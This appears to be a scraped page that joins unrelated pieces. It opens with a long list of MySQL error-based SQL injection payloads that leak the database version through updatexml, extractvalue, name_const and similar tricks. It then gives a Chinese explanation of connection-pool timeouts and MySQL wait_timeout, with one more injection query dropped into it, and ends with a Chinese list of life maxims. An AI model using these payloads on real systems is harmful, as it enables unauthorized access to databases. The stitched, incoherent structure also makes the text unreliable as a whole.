'-(SELECT*FROM(SELECT name_const(version(),1),name_const(version(),1))a)# '=0 group by elt(rand(),version())having sum(0)# '-updatexml(0,repeat(version(),2),2)# '|polygon((select*from(select name_const(version(),1))x))# '--~(select*from(select@@version)f)# '|GTID_SUBSET(@@version,0)# '/(select*from(select+name_const(version(),1),name_const(version(),1))a)# '=0 group by elt(rand(),version())having min(0)# '/updatexml(0,repeat(version(),2),0)# '-polygon((select*from(select name_const(version(),1))o))# '/gtid_subset(@@version,0)# '|(select*from(select name_const(version(),1),name_const(version(),1))a)# '|updatexml(1,repeat(version(),2),1)# '<1 group by elt(rand(),version())having min(0)# '|polygon((select*from(select name_const(version(),1))p))# '|!(select*from(select@@version)x)-~0# 'or 1 group by concat(version(),floor(rand(0)*2)) having min(0)or''=' ' and extractvalue(rand(0),concat(0x0a,version()))or''=' '--~(select*from(select@@version)f)# '|(select!x-~0.FROM(select+version()x)f)# '|(select!x-~0.FROM(select@@version x)f)# 'UnIoN SeLeCt CoUnT(`TeXt`) FrOm test.news WhErE 1=1 GrOuP By CoNcAt(VeRsIoN(),FlOoR(RaNd(1337)*2)),' '-(select*from(select name_const(version(),1),name_const(version(),1))p)# '/updatexml(0,concat(0xa,version()),0)# '/updatexml(0,concat('$_',version()),0)# '-updatexml(1,concat('a=.',version()),1)# '-updatexml(1,LPAD(.1,999,hex(hex(version()))),1)# '/polygon((select*from(select name_const(version(),1))o))# '-~(select*from(select@@version)x)*2# 1e308'*(select*from(select@@version)x)# '-(select~b*a*a*a from(select~0/.1 a,version()b)x)# '-GTID_SUBSET(@@version,0)# '|updatexml(1,concat('a=.',version()),1)# '|updatexml(0,concat('$_',version()),2)# '-updatexml(0,concat(0x1,version()),2)# '|updatexml(0,lpad(.1,350,hex(hex(version()))),1)# '|(~(select*from(select@@version)f)*2)# '|~(select*from(select@@version)x)*cast(1e99as decimal(65))# '||1 group by mid(version(),rand())having min(1)# '|UpdateXML(1,concat('/',version()),1)# '|UpdateXML(1,concat('$_',version()),1)# '|ExtractValue(1,concat('/a[x=y]',version()))# '|Polygon((select*from(select name_const(version(),1))b))# '|UpdateXML(0,CONCAT(hex(hex(version())),repeat(0,285),'.'),1)# '|(select-9223372036854775808-(x||1)FROM(select+version()x)z)# '|(select pow(2,~x)FROM(select+version()x)z)# '|(select~0*cast(x as DECIMAL(1))*~0*~0*~0.FROM(select+version()x)z)# '|GTID_SUBSET(version(),0)# '||1 group by concat(left(version(),9),rand(0)|0) having max(0)# '-updatexml(1,concat('.a=a',version()),1)# From : http://blackfan.ru/mysql_game/
java的所有的连接池 无论是c3p0、dbcp还是druid,都有一个类似maxWait或者maxIdleTime配置项。具体含义就是当连接长时间没有向服务器发请求的时候,断开这个连接,避免对数据库连接的浪费。这个时间不是随便设的,它的依据是数据库的连接最大空闲时间。
以mysql为例,它有个_wait_timeout 参数,你可以通过命令show variables like “%timeout%”查看
+—————————–+———-+
| Variable_name | Value |
+—————————–+———-+
| connect_timeout | 10 |
| delayed_insert_timeout | 300 |
| innodb_flush_log_at_timeout | 1 |
| innodb_lock_wait_timeout | 50 |
| innodb_rollback_on_timeout | OFF |
| interactive_timeout | 28800 |
| lock_wait_timeout | 31536000 |
| net_read_timeout | 30 |
| net_write_timeout | 60 |
| rpl_stop_slave_timeout | 31536000 |
| slave_net_timeout | 3600 |
| wait_timeout | 28800 |
+—————————–+———-+
wait_timeout默认的时候是8个小时28800秒,但是有时候可能被不经意修改。这个时间表示当连接在28800个时间没有向服务器发请求的时候,它就会断开这个连接。
你可以通过set global wait_timeout=60000来修改。不过好像interactive_timeout也必须同时修改才可以,要不wait_timeout改不了,它会用interactive_timeout的值初始化wait_timeout(这个原理又是另外一回事了).
所以在使用连接池的时候maxWait或者maxIdleTime,这个参数必须设置为小于wait_timeout的值,否则的话,当你的连接长时间没和数据库交互,服务器早把你的连接断开了,而你的连接池还认为是有效的连接,除非你设置testOnBorrow或者testOnReturn设置为true,这样当连接每次从连接池中取出或者放回的时候检查下连接是否有效。不过这样回牺牲一点性能。
否则你就会收到下面这样类似的异常,特别是经过一个耗时长的查询之后,这个连接再用于进行下次数据库操作的时候。
The last packet successfully received from the server was 1,867,460 milliseconds ago. The last packet sent successfully to the server was 0 milliseconds ago.; nested exception is com.mysql.jdbc.exceptions.jdbc4.CommunicationsException: Communications link failure
SELECT * FROM `ecs_admin_user` where user_id=1 and EXP(~(select * from (select user())a))
1、不要奢望别人给你经济上的任何帮助,钱对任何人都是不够用的。(学会给予)
2、朋友帮你是善事,是道义;朋友不帮你也无可厚非,不该心怀怨尤,人家不欠你的!(学会理解)
3、要知道没有人必须在你需要的时候帮你,只有你自己,所以让自己独立、坚强、快乐、幸福,才是你需要做的,毕竟只有自己必须和你生死与共,休戚相关。明白?(学会坚强)
4、不要看贫富交朋友,他有亿万家财跟你一毛钱关系都没有,别把自己弄成哈巴狗。他也许一无所有却可以把唯一的馒头分给你。(学会分辨)
5、不要为了经济富有的朋友疏远了精神富有的朋友,慢慢你会明白,经济上富裕的朋友可以带你吃喝玩乐,也可以带给你复杂纷乱的世俗烦恼,精神富有的朋友也许只能带你去田野里,去溪流畔,没有美酒佳肴,没有香槟、咖啡、没有舞池,可是她能陪你一起奔跑、一起笑的像傻子。(学会自重)
6、可以相信世上真的有美好坚贞的爱情,但是它只属于牛郎织女、梁山伯祝英台、还有外国的罗密欧和朱丽叶。因为他们都没有活很久。而我们是要活很久的。(学会珍惜)
7、不管你因为什么结婚,只要你有了孩子,你就要爱这个家,不管它多么简陋多么寒冷,你都有义务让它温馨起来,因为你是父母!(学会承担)
8、我们的青春眨眼间就没有了,皱纹一条一条的爬到眼角,我们阻止不了岁月破坏我们的容颜,可是我们可以让心在岁月中慢慢磨砺,如蚌中的沙,慢慢的光润起来,等到我们发苍齿摇、步履蹒跚的时候,还可以让珍珠的光泽晕红最后的行程,不是吗?(学会成长)
9、不要执着,人生有很多不如意,世界不会迎合你,地球不是为你转的,所以不要执着于拥有,连我们都只是红尘的过客,生是赤条条的来,死又能带走什么呢?(学会放下)